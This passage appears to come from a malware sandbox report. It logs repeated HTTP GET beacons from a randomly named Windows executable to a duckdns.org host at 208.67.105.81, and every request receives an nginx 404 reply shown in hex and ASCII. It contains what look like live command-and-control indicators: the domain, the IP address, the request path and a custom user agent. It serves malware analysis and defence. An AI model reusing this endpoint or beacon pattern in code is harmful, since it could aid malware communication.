2022-08-05 10:11:16 UTC	21	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.6	49834	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:17 UTC	21	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:17 UTC	22	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:17 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:17 UTC	22	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.6	49835	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:18 UTC	22	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:18 UTC	22	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:18 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:18 UTC	22	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.6	49837	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:20 UTC	22	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:20 UTC	22	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:20 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:20 UTC	23	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.6	49840	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:24 UTC	23	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:24 UTC	23	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:24 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:24 UTC	23	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.6	49841	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:25 UTC	23	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:25 UTC	23	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:25 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:25 UTC	23	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.6	49842	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:25 UTC	24	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:25 UTC	24	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:25 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:25 UTC	24	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.6	49843	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:26 UTC	24	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:26 UTC	24	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:26 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:26 UTC	24	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.6	49845	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:27 UTC	24	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:27 UTC	25	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:27 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:27 UTC	25	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.6	49757	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:10:32 UTC	2	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:10:32 UTC	2	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:10:32 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:10:32 UTC	2	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.6	49846	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:29 UTC	25	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:29 UTC	25	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:29 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:29 UTC	25	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.6	49847	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:29 UTC	25	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:29 UTC	25	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:29 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:29 UTC	26	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.6	49848	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:30 UTC	26	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:30 UTC	26	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:30 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:30 UTC	26	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.6	49849	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:30 UTC	26	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:30 UTC	26	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:30 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:30 UTC	26	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.6	49850	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:31 UTC	27	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:31 UTC	27	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:31 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:31 UTC	27	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.6	49851	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:31 UTC	27	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:31 UTC	27	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:31 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:31 UTC	27	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.6	49857	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:32 UTC	27	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:32 UTC	28	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:32 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:32 UTC	28	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.6	49858	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:32 UTC	28	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:32 UTC	28	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:32 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:32 UTC	28	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.6	49859	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:33 UTC	28	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:33 UTC	28	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:33 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:33 UTC	29	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.6	49860	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 10:11:34 UTC	29	OUT	GET /typmpustomsspyheeueheheupoawymopustysom/Grxxswfwhjfzuxjvaphlnsurmtnrajm HTTP/1.1 User-Agent: lVali Host: aubromaterkiddie.duckdns.org
2022-08-05 10:11:34 UTC	29	IN	HTTP/1.1 404 Not Found Server: nginx Date: Fri, 05 Aug 2022 10:11:34 GMT Content-Type: text/html Content-Length: 146 Connection: close
2022-08-05 10:11:34 UTC	29	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.6	49760	208.67.105.81	443	C:\Users\user\Desktop\vOj00hEkoQ.exe

Timestamp	kBytes transferred	Direction	Data
